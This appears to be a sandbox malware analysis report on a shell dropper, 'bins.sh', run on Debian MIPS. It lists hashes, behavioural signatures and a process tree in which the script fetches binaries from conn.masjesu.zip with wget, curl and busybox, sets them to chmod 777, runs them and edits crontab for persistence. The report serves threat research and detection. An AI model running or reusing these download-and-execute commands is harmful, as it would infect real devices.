Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 10:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    facd8d5b4de07f8d4d3e00bf507864de

  • SHA1

    6b61bfefc5c5b94bbb154d7bfa00d46c67c421a5

  • SHA256

    00f8a20ed14d818a6397e452410bbc7ad21628aa1aad3b52031fab9dfcd648ad

  • SHA512

    9c32e3e7c4e80b00a5a7cf8ab8d5d4539c19359d0bc62d259b149551d6ef3051a352dde1a701dca898959b6f6d5c1434583f2f992a01caf02fece8a36d5bd721

  • SSDEEP

    192:yjojaqBgs6UM43mu0Ay85dgTjF7S7i7DU7wvKhdKHH+5dgTj57S7i7DU7wmhdKHw:yjojaqBgsuAy85dgTjFGuUqC5dgTj5GL

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1985) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 24 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          ./cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:736
        • /bin/rm
          rm cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          PID:738
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:739
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:740
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:749
        • /bin/chmod
          chmod 777 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • File and Directory Permissions Modification
          PID:756
        • /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          ./46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • Executes dropped EXE
          PID:757
        • /bin/rm
          rm 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
            PID:760
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:762
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:780
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:795
          • /bin/chmod
            chmod 777 ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
            2⤵
            • File and Directory Permissions Modification
            PID:796
          • /tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
            ./ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:797
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:799
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:800
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:801
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:802
                • /bin/rm
                  rm ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                  2⤵
                    PID:804
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                    2⤵
                    • System Network Configuration Discovery
                    PID:807
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                    2⤵
                    • System Network Configuration Discovery
                    PID:808
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:855
                  • /bin/chmod
                    chmod 777 YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                    2⤵
                    • File and Directory Permissions Modification
                    PID:890
                  • /tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                    ./YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                    2⤵
                    • Executes dropped EXE
                    PID:891
                  • /bin/rm
                    rm YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                    2⤵
                      PID:893
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                      2⤵
                      • System Network Configuration Discovery
                      PID:894
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                      2⤵
                      • System Network Configuration Discovery
                      PID:895
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:896
                    • /bin/chmod
                      chmod 777 n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                      2⤵
                      • File and Directory Permissions Modification
                      PID:909
                    • /tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                      ./n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                      2⤵
                      • Executes dropped EXE
                      PID:911
                    • /bin/rm
                      rm n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                      2⤵
                        PID:914
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                        2⤵
                        • System Network Configuration Discovery
                        PID:915
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                        2⤵
                        • System Network Configuration Discovery
                        PID:918
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:920
                      • /bin/chmod
                        chmod 777 QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                        2⤵
                        • File and Directory Permissions Modification
                        PID:933
                      • /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                        ./QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                        2⤵
                        • Executes dropped EXE
                        PID:934
                      • /bin/rm
                        rm QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                        2⤵
                          PID:937
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                          2⤵
                          • System Network Configuration Discovery
                          PID:939
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                          2⤵
                          • System Network Configuration Discovery
                          PID:941
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:944
                        • /bin/chmod
                          chmod 777 O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                          2⤵
                          • File and Directory Permissions Modification
                          PID:945
                        • /tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                          ./O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                          2⤵
                          • Executes dropped EXE
                          PID:946
                        • /bin/rm
                          rm O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                          2⤵
                            PID:948
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                            2⤵
                            • System Network Configuration Discovery
                            PID:949

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /var/spool/cron/crontabs/tmp.F2xkSP

                          Filesize

                          210B

                          MD5

                          6cbec634d4c109decebb1c38074ab0e4

                          SHA1

                          5d4bc2fec1c386ca9e5120d1984bf0d22f080d72

                          SHA256

                          924df9acc3c9b7747a2657a365f5346be4c2f73f370ce48cd191eedc22c9f31b

                          SHA512

                          0f996db7eae0c60da36d400615d945976e61f0d5ddec73c288a6103b567fea9263dd1ac32656b5d42eeb13ace2f8def369c59ee066b064cb7553aac2dad8f82b